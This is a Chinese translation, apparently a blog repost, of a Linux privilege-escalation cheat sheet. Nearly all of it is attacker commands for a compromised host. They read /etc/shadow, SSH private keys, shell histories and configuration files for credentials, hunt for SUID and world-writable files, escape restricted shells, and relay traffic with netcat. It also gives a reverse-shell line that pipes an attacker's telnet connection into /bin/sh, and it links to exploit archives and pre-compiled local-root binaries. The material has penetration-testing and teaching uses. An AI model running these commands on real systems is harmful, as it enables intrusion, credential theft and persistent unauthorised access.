【译】Linux提权基础

英文原文： Basic Linux Privilege Escalation

　　在开始之前，我想指出 - 我不是专家。据我所知，在这个巨大的领域没有一个“魔法”的答案。这只是我的发现，写出来，共享而已（是我的起点）。下面列举的项中会出现几个不同命令，都是做同样的事，在不同的场景使用可能会有不一样的亮点。我知道有更多的东西有待探索，这只是一个基本和粗略的指导。并不是每个命令都适用于每个系统，因为Linux版本之间有很大的不同。 "It" will not jump off the screen - you've to hunt for that "little thing" as "the devil is in the detail".

枚举是关键。
（Linux）提权是关于：
收集 - 枚举，更多的枚举和一些更多的枚举。
处理 - 对数据进行排序，分析和确定优先级。
搜索 - 知道要搜索什么以及在哪里可以找到漏洞利用代码。
调整 - 自定义合适的漏洞利用代码。 并不是每个漏洞利用工作对于每个系统“开箱即用”。
尝试 - 准备好（大量）试验和错误。

操作系统

发布的是什么类型？是什么版本？

cat /etc/issue
cat /etc/*-release
  cat /etc/lsb-release      # Debian based
  cat /etc/redhat-release   # Redhat based

是什么内核版本？是64位吗？

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

从环境变量中可以了解些什么？　

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

有打印机吗？

lpstat -a

应用和服务

什么服务正在运行？哪个服务有哪个用户权限？

ps aux
ps -ef
top
cat /etc/services

哪些服务由root运行？在这些服务中，哪些是脆弱的 - 这是值得一查的！

ps aux | grep root
ps -ef | grep root

安装了什么应用程序？他们是什么版本？他们当前是否正在运行？　

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

有没有服务设置错误配置？是否附加任何（有漏洞）插件？

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

有哪些作业调度？

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

任何明文的用户名或密码？

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

通信和网络

系统有哪些网卡？它是否连接到另一个网络？　

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

网络配置有哪些？你能找到关于这个网络的哪些东西？ DHCP服务器？ DNS服务器？网关？

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

正在与系统通信的用户和主机有哪些？

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

缓存了什么？ IP或MAC地址　

arp -e
route
/sbin/route -nee

是否可能进行数据包嗅探？可以看到什么？监听实时流量

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

你能拿到shell吗？你可以与系统交互吗？

nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!

Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

端口转发是否可能？跟另一个视图的流量进行重定向和交互

Note: http://www.boutell.com/rinetd/

Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

隧道是否可能？在本地，远程发送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

机密信息和用户　　

你是谁？谁登录了？谁已经登录了？还有谁在那里？谁能做什么？

id
who
w
last
cat /etc/passwd | cut -d: -f1    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l

可以找到哪些敏感文件？　　

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

在home目录中有什么"有趣"东西？可以访问吗？

ls -ahlR /root/
ls -ahlR /home/

有没有密码，脚本，数据库，配置文件或日志文件？密码的默认路径和位置

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

用户在做什么？是否有明文密码？他们正在编辑什么？　

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

可以找到哪些用户信息？

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

可以找到私钥信息吗？　　

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

文件系统

哪些配置文件可以写在/etc/? 能够重新配置服务吗?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

在/var/目录下能找到什么？

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

任何设置/文件（隐藏）在网站上？任何具有数据库信息的设置文件？　　

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

日志文件中有什么（有助于"本地文件包含"！）

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/　

如果命令有限，你脱离"jail" shell？

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

文件系统是如何挂载的？

mount
df -h

是否有任何未挂载的文件系统？

cat /etc/fstab

使用了哪些"高级Linux文件权限"？粘滞位，SUID＆GUID

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

在哪里可以写和执行? 一些常见的地方：/tmp，/var/tmp，/dev/shm

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

有没有任何"问题"文件? Word-writeable, "nobody" files

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

准备和寻找漏洞代码

安装/支持什么开发工具/语言？

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

如何上传文件？

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

Finding exploit code

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

Finding more information regarding the exploit

http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]

(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk

http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

posted @ 2016-12-19 14:44 starnight_cyber 阅读(1330) 评论(0) 编辑收藏举报

会员力量，点亮园子希望

刷新页面返回顶部

【译】Linux提权基础

操作系统

发布的是什么类型？ 是什么版本？

是什么内核版本？ 是64位吗？

从环境变量中可以了解些什么？

有打印机吗？

应用和服务

什么服务正在运行？ 哪个服务有哪个用户权限？

哪些服务由root运行？ 在这些服务中，哪些是脆弱的 - 这是值得一查的！

安装了什么应用程序？ 他们是什么版本？ 他们当前是否正在运行？

有没有服务设置错误配置？ 是否附加任何（有漏洞）插件？

有哪些作业调度？

任何明文的用户名或密码？

通信和网络

系统有哪些网卡？ 它是否连接到另一个网络？

网络配置有哪些？ 你能找到关于这个网络的哪些东西？ DHCP服务器？ DNS服务器？ 网关？

正在与系统通信的用户和主机有哪些？

缓存了什么？ IP或MAC地址

是否可能进行数据包嗅探？ 可以看到什么？ 监听实时流量

你能拿到shell吗？ 你可以与系统交互吗？

端口转发是否可能？ 跟另一个视图的流量进行重定向和交互

隧道是否可能？ 在本地，远程发送命令

机密信息和用户

你是谁？ 谁登录了？ 谁已经登录了？ 还有谁在那里？ 谁能做什么？

可以找到哪些敏感文件？

在home目录中有什么"有趣"东西？ 可以访问吗？

有没有密码，脚本，数据库，配置文件或日志文件？ 密码的默认路径和位置

用户在做什么？ 是否有明文密码？ 他们正在编辑什么？

可以找到哪些用户信息？

可以找到私钥信息吗？

文件系统

哪些配置文件可以写在/etc/? 能够重新配置服务吗?

在/var/目录下能找到什么？

任何设置/文件（隐藏）在网站上？ 任何具有数据库信息的设置文件？

日志文件中有什么（有助于"本地文件包含"！）

如果命令有限，你脱离"jail" shell？

文件系统是如何挂载的？

是否有任何未挂载的文件系统？

使用了哪些"高级Linux文件权限"？ 粘滞位，SUID＆GUID

在哪里可以写和执行? 一些常见的地方：/tmp，/var/tmp，/dev/shm

有没有任何"问题"文件? Word-writeable, "nobody" files

准备和寻找漏洞代码

安装/支持什么开发工具/语言？

如何上传文件？

Finding exploit code

Finding more information regarding the exploit

(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk

公告

发布的是什么类型？是什么版本？

是什么内核版本？是64位吗？

从环境变量中可以了解些什么？　

什么服务正在运行？哪个服务有哪个用户权限？

哪些服务由root运行？在这些服务中，哪些是脆弱的 - 这是值得一查的！

安装了什么应用程序？他们是什么版本？他们当前是否正在运行？　

有没有服务设置错误配置？是否附加任何（有漏洞）插件？

系统有哪些网卡？它是否连接到另一个网络？　

网络配置有哪些？你能找到关于这个网络的哪些东西？ DHCP服务器？ DNS服务器？网关？

缓存了什么？ IP或MAC地址　

是否可能进行数据包嗅探？可以看到什么？监听实时流量

你能拿到shell吗？你可以与系统交互吗？

端口转发是否可能？跟另一个视图的流量进行重定向和交互

隧道是否可能？在本地，远程发送命令

机密信息和用户　　

你是谁？谁登录了？谁已经登录了？还有谁在那里？谁能做什么？

可以找到哪些敏感文件？　　

在home目录中有什么"有趣"东西？可以访问吗？

有没有密码，脚本，数据库，配置文件或日志文件？密码的默认路径和位置

用户在做什么？是否有明文密码？他们正在编辑什么？　

可以找到私钥信息吗？　　

任何设置/文件（隐藏）在网站上？任何具有数据库信息的设置文件？　　

使用了哪些"高级Linux文件权限"？粘滞位，SUID＆GUID